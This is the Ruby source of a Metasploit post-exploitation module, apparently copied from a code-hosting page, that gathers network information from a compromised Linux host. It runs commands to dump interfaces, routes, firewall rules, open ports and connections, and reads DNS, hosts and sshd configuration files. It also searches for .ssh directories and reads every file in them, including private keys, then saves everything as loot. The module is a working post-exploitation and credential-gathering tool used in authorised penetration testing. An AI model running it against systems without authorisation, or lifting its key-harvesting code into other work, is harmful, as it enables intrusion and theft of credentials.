Path: blob/master/modules/post/linux/gather/enum_network.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Linux Gather Network Information',15'Description' => %q{16This module gathers network information from the target system17IPTables rules, interfaces, wireless information, open and listening18ports, active network connections, DNS information and SSH information.19},20'License' => MSF_LICENSE,21'Author' => [22'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing23'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux24],25'Platform' => ['linux'],26'SessionTypes' => ['shell', 'meterpreter'],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [],30'Reliability' => []31}32)33)34end3536# Run Method for when run command is issued37def run38print_status("Running module against #{get_hostname} (#{session.session_host})")3940user = execute('/usr/bin/whoami')41print_status("Module running as #{user}")4243# Collect data44distro = get_sysinfo45print_good('Info:')46print_good("\t#{distro[:version]}")47print_good("\t#{distro[:kernel]}")4849print_status('Collecting data...')5051nconfig = execute('/sbin/ifconfig -a')52routes = execute('/sbin/route -e')53iptables = execute('/sbin/iptables -L')54iptables_nat = execute('/sbin/iptables -L -t nat')55iptables_man = execute('/sbin/iptables -L -t mangle')56resolv = cat_file('/etc/resolv.conf')57sshd_conf = cat_file('/etc/ssh/sshd_config')58hosts = cat_file('/etc/hosts')59connections = execute('/usr/bin/lsof -nPi')60wireless = execute('/sbin/iwconfig')61open_ports = execute('/bin/netstat -tulpn')62updown = execute('ls -R /etc/network')6364ssh_keys = get_ssh_keys6566# Save Enumerated data67save('Network config', nconfig)68save('Route table', routes)69save('Firewall config', iptables.to_s + iptables_nat.to_s + iptables_man.to_s)70save('DNS config', resolv)71save('SSHD config', sshd_conf)72save('Host file', hosts)73save('SSH keys', ssh_keys) unless ssh_keys.empty?74save('Active connections', connections)75save('Wireless information', wireless)76save('Listening ports', open_ports)77save('If-Up/If-Down', updown)78end7980# Save enumerated data81def save(msg, data, ctype = 'text/plain')82unless data && !data.empty?83print_bad("Unable to get data for #{msg}")84return85end86ltype = 'linux.enum.network'87loot = store_loot(ltype, ctype, session, data, nil, msg)88print_good("#{msg} stored in #{loot}")89end9091def execute(cmd)92verification_token = Rex::Text.rand_text_alpha(8)93vprint_status("Execute: #{cmd}")94output = cmd_exec(cmd + " || echo #{verification_token}")95return nil if output.include?(verification_token)9697return output98end99100def cat_file(filename)101vprint_status("Download: #{filename}")102output = read_file(filename)103return output104end105106def get_ssh_keys107keys = []108109# Look for .ssh folder, "~/" might not work everytime110vprint_status('Execute: /usr/bin/find / -maxdepth 3 -name .ssh')111dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh').split("\n")112ssh_base = ''113dirs.each do |d|114if d =~ %r{(^/)(.*)\.ssh$}115ssh_base = d116break117end118end119120# We didn't find .ssh :-(121return [] if ssh_base == ''122123# List all the files under .ssh/124files = execute("/bin/ls -a #{ssh_base}").chomp.split125126files.each do |k|127next if k =~ /^(\.+)$/128129this_key = cat_file("#{ssh_base}/#{k}")130keys << this_key131end132133return keys134end135end136137138